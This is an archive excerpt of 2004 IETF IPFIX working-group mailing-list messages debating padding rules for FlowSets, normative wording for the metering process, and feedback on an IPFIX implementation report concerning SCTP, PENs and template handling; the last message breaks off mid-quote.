"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Aug  5 21:18:05 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA01481
	for <ipfix-archive@lists.ietf.org>; Thu, 5 Aug 2004 21:18:05 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BstEG-0007kl-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 05 Aug 2004 20:09:04 -0500
Received: from c3p0.cc.swin.edu.au ([136.186.1.30] helo=swin.edu.au)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BstEE-0007gI-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 05 Aug 2004 20:09:02 -0500
Received: from swin.edu.au ([136.186.229.249])
	by swin.edu.au (8.9.3p2-20030918/8.9.3) with ESMTP id LAA783002;
	Fri, 6 Aug 2004 11:07:44 +1000 (EST)
Message-ID: <4112DA56.80300@swin.edu.au>
Date: Fri, 06 Aug 2004 11:09:42 +1000
From: Sebastian Zander <szander@swin.edu.au>
Organization: Swinburne University
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Benoit Claise <bclaise@cisco.com>, David Moore <dmoore@caida.org>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] PROTO-14: padding.
References: <40D1F9CB.3060702@cisco.com> <40D8CB95.1010905@swin.edu.au>	<40ED1005.3000201@cisco.com> <40EDF8A1.3070900@swin.edu.au>	<40EE4671.2030804@cisco.com> <40F1D9B4.6070805@swin.edu.au> <yfyllgu10gj.fsf@rommie.caida.org> <4112C247.1010104@cisco.com>
In-Reply-To: <4112C247.1010104@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Makes it more precise. I like the first proposal.

Should we also change the wording for templates to "padding length must 
be shorter than the shortest possible template (with one field)"? Or 
rely on the fact that a 0 length template is obviously padding?

Cheers,

Sebastian

Benoit Claise wrote:

> David,
> 
> That makes sense to me.
> 
> Regards, Benoit.
> 
>> Hi Sebastion, Benoit,
>>
>> I like the newer language (included in proto-4), since it fixes a bug
>> where the collector is unable to differentiate between padding and
>> legitimate flow records when the flow record size is small.
>>
>> I'm wondering if it makes sense to change 'shorter than one Flow Data
>> Record' to something more like 'shorter than one Flow Data Record of the
>> corresponding Template ID' or 'shorter than any legitimate Flow Data
>> Record permissible in this FlowSet' or 'shorter than any allowable
>> Record in this FlowSet'.
>>
>> -- david
>>
>> Sebastian Zander <szander@swin.edu.au> writes:
>>
>>  
>>
>>> Hi Benoit,
>>>
>>> here is my proposal for the header format (change formats for other
>>> templates as well) and the Template Flowset Padding paragraph.
>>>
>>>        0                   1                   2                   3
>>>        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |       FlowSet ID = 0          |          Length               |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |       Template ID 1           |         Field Count           |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |        Field Type 1           |         Field Length 1        |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |        Field Type 2           |         Field Length 2        |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |             ...               |              ...              |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |        Field Type N           |         Field Length N        |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |       Template ID 2           |         Field Count           |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |        Field Type 1           |         Field Length 1        |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |        Field Type 2           |         Field Length 2        |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |             ...               |              ...              |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |        Field Type M           |         Field Length M        |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |             ...               |              ...              |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |        Template ID K          |         Field Count           |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |             ...               |              ...              |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>       |                            Padding (opt)                      |
>>>       |                              ...                  |
>>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>
>>> Padding
>>> <your text>
>>> Because Template Flowsets are always 4-byte aligned by definition
>>> padding is only needed in case of other alignments e.g. on 8-byte
>>> boundaries.
>>>
>>> Cheers,
>>>
>>> Sebastian
>>>
>>> Benoit Claise wrote:
>>>
>>>   
>>>
>>>> Hi Sebastian,
>>>>
>>>>     
>>>>
>>>>> Hi Benoit,
>>>>>
>>>>> answer below
>>>>>
>>>>> Benoit Claise wrote:
>>>>>
>>>>>       
>>>>>
>>>>>> Hi Sebastian,
>>>>>>
>>>>>> Actually this sentence is not part of the proposed text. It was
>>>>>> just a comment.
>>>>>> I wanted to express the fact:
>>>>>>   - Template FlowSet always have "4-byte aligned" boundaries."
>>>>>>   - Template FlowSet are only sent once with SCTP, TCP
>>>>>> So I think we don't care too much about the alignment for the
>>>>>> Template FlowSeet
>>>>>>
>>>>>> However, I could understand the need for some text
>>>>>> clarification. I see three solutions
>>>>>>
>>>>>> Solution 1
>>>>>>
>>>>>> We don't write down anything for padding & Template
>>>>>> FlowSet. Basically what I proposed initially. However, I can
>>>>>> understand the discrepancy between the Template FlowSet and the
>>>>>> other FlowSets.
>>>>>>
>>>>>> Solution 2
>>>>>>
>>>>>> 8.3   Template FlowSet Format
>>>>>>
>>>>>>       0                   1                   2
>>>>>> 3         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7
>>>>>> 8 9 0 1
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |       FlowSet ID = 0          |          Length               |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |       Template ID 1           |         Field Count           |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |        Field Type 1           |         Field Length 1        |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |        Field Type 2           |         Field Length 2        |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |             ...               |              ...              |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>>      |        Field Type N           |         Field Length N
>>>>>> |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>>      |       Template ID 2           |         Field Count
>>>>>> |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>>      |        Field Type 1           |         Field Length 1
>>>>>> |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>>      |        Field Type 2           |         Field Length 2
>>>>>> |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |             ...               |              ...              |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |        Field Type M           |         Field Length M        |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |             ...               |              ...              |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |        Template ID K          |         Field Count           |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> |             ...               |              ...              |
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>>      |                           
>>>>>> Padding                             |
>>>>>>
>>>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>> Padding
>>>>>>          The Exporting Process MAY insert some padding bytes,
>>>>>>           so that the subsequent FlowSet starts at an aligned 
>>>>>> boundary.
>>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>>           The padding length MUST be shorter
>>>>>>           than a Template definition with a Field Count value of one.
>>>>>>           It is important to note that the Length field includes
>>>>>> the padding bits.
>>>>>>
>>>>>> Solution 3
>>>>>>
>>>>>> Adding a 4 bytes padding field in the packet format could be
>>>>>> considered as confusing (see solution 2), as currently, the
>>>>>> alignement is always 4 bytes.
>>>>>> So we could add some generic text about padding in the "template
>>>>>> flowset section", without adding the Padding field in the packet
>>>>>> format.
>>>>>>
>>>>>> What's your feedback?
>>>>>>         
>>>>>
>>>>>
>>>>> I find solution 1 confusing because if there is a strong intention
>>>>> to allow arbitrary padding for templates (other than 4-byte
>>>>> aligments) than is should be possible for all templates. So IMO
>>>>> solution 2+3: having
>>>>> the field and a statement clarifying that it is already 4-byte
>>>>> aligned. Maybe the field name could be changed from Padding to
>>>>> Optional Padding to make clear that it is optional (for all
>>>>> templates)? The size is not 4 bytes but variable which should be
>>>>> indicated to avoid confusion (same for the other templates).
>>>>>       
>>>>
>>>> Can you please propose the text and packet format you would like to
>>>> see.
>>>>     
>>>
>>> >
>>>   
>>>
>>>> Regards, Benoit.
>>>>
>>>>     
>>>>
>>>>> Cheers,
>>>>>
>>>>> Sebastian
>>>>>
>>>>>       
>>>>>
>>>>>> Regards, Benoit.
>>>>>>
>>>>>>         
>>>>>>
>>>>>>> Hi Benoit,
>>>>>>>
>>>>>>> shouldn't it always read "... starts at a _4-byte_ aligned 
>>>>>>> boundary"?
>>>>>>>
>>>>>>> Cheers,
>>>>>>>
>>>>>>> Sebastian
>>>>>>>
>>>>>>> Benoit Claise wrote:
>>>>>>>
>>>>>>>           
>>>>>>>
>>>>>>>> Dear all,
>>>>>>>>
>>>>>>>> >From the IPFIX protocol specification:
>>>>>>>>
>>>>>>>>    14. PROTO-14: Why do we need padding? Should we shift it to MAY?
>>>>>>>>           limit the size of the padding? Yes
>>>>>>>>           solution:
>>>>>>>>           - padding shorter than actual Record Length
>>>>>>>>           - fill with 0
>>>>>>>>           - only at end of flowset
>>>>>>>>           - applies to all flowsets
>>>>>>>>           - padding is OPTIONAL (MAY) , not RECOMMENDED (SHOULD)
>>>>>>>>
>>>>>>>>
>>>>>>>> >From the Seoul meeting minutes:
>>>>>>>>
>>>>>>>>    - Padding: currently a should for the exporting process, and
>>>>>>>> a must for
>>>>>>>>     the collector.  Proposal to have a MAY for the exporting 
>>>>>>>> process
>>>>>>>>
>>>>>>>> In the current IPFIX protocol draft version 3, the same
>>>>>>>> definition is applied to the following section:
>>>>>>>>    8.4   Data FlowSet Format
>>>>>>>>    8.5.1   Options Template FlowSet Format     8.5.2   Options
>>>>>>>> Data Record Format
>>>>>>>>
>>>>>>>>   Padding
>>>>>>>>           The Exporting Process SHOULD insert some padding bytes so
>>>>>>>>           that the subsequent FlowSet starts at a 4-byte aligned
>>>>>>>>           boundary. It is important to note that the Length field
>>>>>>>>           includes the padding bits.
>>>>>>>>
>>>>>>>> The proposal is to change it to:
>>>>>>>>
>>>>>>>>    8.4   Data FlowSet Format
>>>>>>>>   Padding
>>>>>>>>           The Exporting Process MAY insert some padding bytes,
>>>>>>>>           so that the subsequent FlowSet starts at an aligned
>>>>>>>> boundary.
>>>>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>>>>           The padding length MUST be shorter than one Flow Data
>>>>>>>> Record.
>>>>>>>>          It is important to note that the Length field includes
>>>>>>>> the padding bits.
>>>>>>>>
>>>>>>>>    8.5.1   Options Template FlowSet Format    Padding
>>>>>>>>          The Exporting Process MAY insert some padding bytes,
>>>>>>>>           so that the subsequent FlowSet starts at an aligned
>>>>>>>> boundary.
>>>>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>>>>           The padding length MUST be shorter
>>>>>>>>           than one Options Template Record. It is important to
>>>>>>>> note that the
>>>>>>>>          Length field includes the padding bits.
>>>>>>>>
>>>>>>>>    8.5.2   Options Data Record Format
>>>>>>>>   Padding
>>>>>>>>          The Exporting Process MAY insert some padding bytes,
>>>>>>>>           so that the subsequent FlowSet starts at an aligned
>>>>>>>> boundary.
>>>>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>>>>           The padding length MUST be shorter
>>>>>>>>           than one Options Data Record. It is important to note
>>>>>>>> that the
>>>>>>>>          Length field includes the padding bits.
>>>>>>>>
>>>>>>>> I think we are OK with Template FlowSet, as it will always have
>>>>>>>> "4-byte aligned" boundaries.
>>>>>>>>
>>>>>>>> Feedback?
>>>>>>>>
>>>>>>>> Regards, Benoit.
>>>>>>>>
>>>>>>>>             
>>>
>>> -- 
>>> Sebastian Zander
>>> http://caia.swin.edu.au
>>>
>>>
>>> -- 
>>> Help        mailto:majordomo@net.doit.wisc.edu and say "help" in 
>>> message body
>>> Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
>>> "unsubscribe ipfix" in message body
>>> Archive     http://ipfix.doit.wisc.edu/archive/
>>>   
> 
> 
> 

-- 
Sebastian Zander
http://caia.swin.edu.au


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Aug  6 01:27:13 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA16431
	for <ipfix-archive@lists.ietf.org>; Fri, 6 Aug 2004 01:27:13 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bsx8s-0000tC-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 06 Aug 2004 00:19:46 -0500
Received: from rommie.caida.org ([192.172.226.78] helo=caida.org)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bsx8q-0000sT-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 06 Aug 2004 00:19:44 -0500
Received: by caida.org (Postfix, from userid 2017)
	id 3E7B4452BA; Thu,  5 Aug 2004 22:19:42 -0700 (PDT)
To: Nevil Brownlee <nevil@auckland.ac.nz>
Cc: Sebastian Zander <szander@swin.edu.au>, Benoit Claise <bclaise@cisco.com>,
        ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] PROTO-14: padding.
X-Face: "oX;zS#-JU$-,WKSzG.1gGE]x^cIg!hW.dq>.f6pzS^A+(k!T|M:}5{_%>Io<>L&{hO7W4cicOQ|>/lZ1G(m%7iaCf,6Qgk0%%Bz7b2-W3jd0m_UG\Y;?]}4s0O-U)uox>P3JN)9cm]O\@,vy2e{`3pb!"pqmRy3peB90*2L
References: <40D1F9CB.3060702@cisco.com> <40D8CB95.1010905@swin.edu.au>
	<40ED1005.3000201@cisco.com> <40EDF8A1.3070900@swin.edu.au>
	<40EE4671.2030804@cisco.com> <40F1D9B4.6070805@swin.edu.au>
	<yfyllgu10gj.fsf@rommie.caida.org> <4112C247.1010104@cisco.com>
	<4112DA56.80300@swin.edu.au>
	<1091768435.4a22c63ce7bd3@webmail.auckland.ac.nz>
From: David Moore <dmoore@caida.org>
Content-Type: text/plain; charset=US-ASCII
Date: Thu, 05 Aug 2004 22:19:42 -0700
In-Reply-To: <1091768435.4a22c63ce7bd3@webmail.auckland.ac.nz> (Nevil
 Brownlee's message of "Fri,  6 Aug 2004 17:00:35 +1200")
Message-ID: <yfyn018zvv5.fsf@rommie.caida.org>
User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Reasonable Discussion,
 berkeley-unix)
MIME-Version: 1.0
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

Nevil Brownlee <nevil@auckland.ac.nz> writes:

> Hang on a minute --
>
> Are the padding bytes included in the set length?  I think they
> should be, so that a collector can walk down the IPFIX message 
> and be sure where each Flow Record starts.

The length is for the entire FlowSet including any padding bytes.

> Given that they are, there's no doubt about where the last record in
> the set ends - it's the point where another Flow Record would
> extend past the end of the Flow record.

If my flow records are say 1 byte long (ie. I've asked for TTL only, and
have set my timeout to 0), then there is no way to differentiate zero
padding at the end from a sequence of 0 TTL packets, unless there is a
requirement that padding must be shorter than the size of a valid record
in this flowset.

Even for longer flow records, the padding must be bounded to prevent
misinterpretation.  The other choice is to provide a length/count of how
many valid entries are present.

> And, given that, there's no need to say anything at all about the
> padding bytes.

If you mean that nothing needs to be said about them being filled as
0-bits, I'd agree, although I think that's reasonable to say.  But we do
have to say something about either the amount of padding that can be
added to the end or add another field to the flowset take care of the
problem.

> Also, by the way, I assume that the lengths specified in a Template
> Record are fixed for every Flow record generated by that Template?
>
> Summary:  I suggest we change the 'length' field definitions for
> each of the Sets, to make it clear the length includes any padding
> bytes.

Hmm, I thought it already made that clear.  My only concern is that
whatever is done with padding must be prevented from being
misinterpreted by a collector as potential data.

-- david

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Aug  6 02:35:15 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05971
	for <ipfix-archive@lists.ietf.org>; Fri, 6 Aug 2004 02:35:15 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bsy97-0001vq-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 06 Aug 2004 01:24:05 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bsy96-0001vC-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 06 Aug 2004 01:24:04 -0500
Received: from [12.105.246.104] (sjc-vpn4-140.cisco.com [10.21.80.140])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i766O2g22224
	for <ipfix-protocol@net.doit.wisc.edu>; Fri, 6 Aug 2004 08:24:03 +0200 (CEST)
Message-ID: <41132402.1000705@cisco.com>
Date: Fri, 06 Aug 2004 08:24:02 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] MUST, SHOULD, MAY for the metering process?
Content-Type: multipart/alternative;
 boundary="------------070008080408030003080305"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------070008080408030003080305
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

D<>uring this week IPFIX working group session, David More presented:  
"Building a better NetFlow"
Even if personally I'm not convinced the mechanism proposed by Dave 
Moore is practically feasible, Dave brought up an interesting point with 
this new metering process behavior.
We mention MUST, SHOULD, MAY for the flow expiration in [IPFIX-PROTO]
<>These are the only MUST, SHOULD, MAY for the metering process BTW.
After double thinking about it, I don't think we want to force any 
metering process behavior, since IPFIX is only trying to standardize the 
export of data.
<>I propose to lower case the MUST, SHOULD, MAY for the flow expiration 
section.

Regards, Benoit.






--------------070008080408030003080305
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Dear all,<br>
<br>
D<>uring this week IPFIX working group session, David More presented:&nbsp;
"Building a better NetFlow"<br>
Even if personally I'm not convinced the mechanism proposed by Dave
Moore is practically feasible, Dave brought up an interesting point
with this new metering process behavior.<br>
We mention MUST, SHOULD, MAY for the flow expiration in [IPFIX-PROTO]</><br>
<>These are the only MUST, SHOULD, MAY for the metering process BTW.<br>
After double thinking about it, I don't think we want to force any
metering process behavior, since IPFIX is only trying to standardize
the export of data.</><br>
<>I propose to lower case the MUST, SHOULD, MAY for the flow expiration
section.<br>
<br>
Regards, Benoit.<br>
<br>
<br>
<br>
</><br>
<br>
</body>
</html>

--------------070008080408030003080305--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Sat Aug  7 01:58:20 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22311
	for <ipfix-archive@lists.ietf.org>; Sat, 7 Aug 2004 01:58:20 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BtJiy-0002Oz-00
	for ipfix-list@mil.doit.wisc.edu; Sat, 07 Aug 2004 00:26:32 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BtJiw-0002OI-00
	for ipfix-protocol@net.doit.wisc.edu; Sat, 07 Aug 2004 00:26:30 -0500
Received: from [12.105.246.112] (sjc-vpn4-212.cisco.com [10.21.80.212])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i775QFg22182;
	Sat, 7 Aug 2004 07:26:18 +0200 (CEST)
Message-ID: <411467F5.2040103@cisco.com>
Date: Sat, 07 Aug 2004 07:26:13 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Luca Deri <deri@ntop.org>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] IPFIX Implementation Report
References: <40F38751.9050405@ntop.org> <410D04AE.6000404@cisco.com> <410F922E.6050804@ntop.org>
In-Reply-To: <410F922E.6050804@ntop.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Luca,

> Hi Benoit,
>
> Benoit Claise wrote:
>
>> Hi Luca,
>>
>> Thanks for your draft!
>
>
> thanks for all you've done so far for IPFIX. I'm following IPFIX since 
> about a year, so I apologize if some of my statements have been 
> addressed already. As you can see my implementation was based on 
> draft-3 whereas now draft-4 is out.
>
> Before I comment your mail, I would like to tell my main concerns in a 
> few lines:
> - I understand that IPFIX is based on NetFlow v9 but you should 
> somehow avoid sentences like "The FlowSet ID value of 0 is reserved 
> for backwards compatibility..."/"This definition is backwards 
> compatible with Netflow v9". As this is IPFIX v1 I don't see any 
> backward compatibility issue (even if IPFIX is based on NF v9) so this 
> has to be removed. IMHO this WG should not pay attention with 
> compatibilities with commercial protocols as IMHO this is out of 
> scope. This is particular if backward compatibility means more 
> complexity.

Corrected in the next version of the draft.

> - IPFIX has been designed to be an efficient way to export flows. Now 
> it seems to me that from draft to draft all the process is becoming 
> increasingly complex. For instance in draft 4 it is specified that in 
> addition to SCTP also SCTP-PR must be supported. This would further 
> reduce the number of implementations because it increases complexity 
> while not providing real added value. If you don't want to turn IPFIX 
> into a protocol for an elite of people (see what happened to SNMPv3) 
> then you need to reduce (not increase) the effort required to 
> implement the protocol. Other examples are sentences like "The 
> Templates FlowSet and Option Template FlowSet MUST be sent on stream 
> zero with full reliability."
> - I believe that moving away from UDP has many more implications that 
> what you probably have expected. 

The IETF is mandating moving away from UDP, not me.

> It's not an implementation issue but a chance to design a protocol 
> without the legacy imposed by UDP. For instance under SCTP I don't 
> really see the need to maintain the same UDP header.
>
> In a nutshell: if you want to standardize NetFlow v9 rebranding it 
> into IPFIX I'm fine. Instead if you pretend to create a flow protocol 
> baed on NFv9 that is also suppose to use lessons learnt in the past 10 
> years (just to make you an example have you read this paper "Building 
> a Better 
> NetFlow",http://www.caida.org/outreach/papers/2004/betternetflow/betternetflow.pdf 
> ?) then I'm not happy at all.

Yes, I read it and it concerns the metering process, which we don't 
standardize in IPFIX.

>
> Now back to your questions.
>
>> Let me comment on it, from a IPFIX protocol specification point of view
>>
>> You wrote
>>   "it has the drawback of requiring a different
>>   template format from IETF-defined fields where a numeric identifier
>>   is used. This difference requires that both probe and collector
>>   support both formats, with and without the PEN. It should be
>>   investigated whether it is feasible to merge both template formats
>>   (IETF and vendor-specific extensions) into one, so that the
>>   implementation complexity is reduced. "
>> Good point, already taken care of in the 
>> draft-ietf-ipfix-protocol-04.txt
>
>
> Yes and not, because the PEN (SNMP concept that has nothing to do with 
> NF) is still around for vendor-specific fields whereas it's not 
> necessary for IETF (you have used the trick of the first bytes to 
> avoid that). I'm asking myself: as a flow is associated with a 
> template that is coming from a precise probe, why do you need to have 
> such PEN? Namely
> - either you remove PEN and leave some field ID for vendor-specific 
> fields
> - or you use PEN also for IETF.
> In any case you should not increase the work of somebody like me 
> (ntop.org) who wants to export a new field type. I feel that using PEN 
> will prevent people from adding new fields, or (as happened with past 
> NF version) will push people to jeopardize the protocol just to avoid 
> the need to play with PENs.
>
>> You wrote
>>     "Hence using SCTP, template
>>     sending can be optimized, as it is not really necessary to
>>     periodically send templates, because it is now possible to detected
>>     whether the collector has disconnected."
>> Correct, this is addressed in this draft-ietf-ipfix-protocol-04.txt
>> However, I put the following action item, to make sure the draft is 
>> checked for consistency throughout all the sections.
>>   PROTO-25: The section 11 "Template Management" will have to updated
>>       according to the transport protocol.
>>       - For example, the point 2 of the section "Template Management".
>>         Remark: the template management will vary with TCP, SCTP, 
>>         etc...
>
>
> This is a total nightmare for both probe and collector implementors. 
> This is because you have too many exceptions as the IPFIX behaviour 
> changes according to the transport used. IMHO is SCTP is the default 
> protocol then you must optimize IPFIX for SCTP, and not for UDP that's 
> now optional. 

will be improved in the next version of the draft.

> My feeling is that people will use SCTP just for sending templates and 
> UDP for exporting flows. In fact as you have seen from my report SCTP 
> has the drawback to send ACKs back to the probe that is probably not 
> what most people want.
>
>> You wrote, as an improvement
>>     "- As with NetFlow, the IPFIX flow format is fixed. Consider the
>>     following scenario: a user requires in-depth ICMP flow analysis
>>     (e.g. ICMP code and type). There are basically two solutions:
>>     either a probe/collector agree on two different templates (one for
>>     ICMP and one for non-ICMP flows) or they agree on a common template
>>     for all protocols with the outcome that some flow fields are empty
>>     when non-ICMP flows are emitted. The ideal solution to this kind of
>>     scenario is dynamic flows, where emitted flows can have all the
>>     template fields or a subset of them according to the flow kind."
>> What you are referring to is the metering process capabilities, which 
>> is out of scope of this WG.
>
>
> I'm saying that many people jeorpardize NetFlow fields (see ICMP 
> code/type in many NetFlow v5 flows) and as this is a common pratice I 
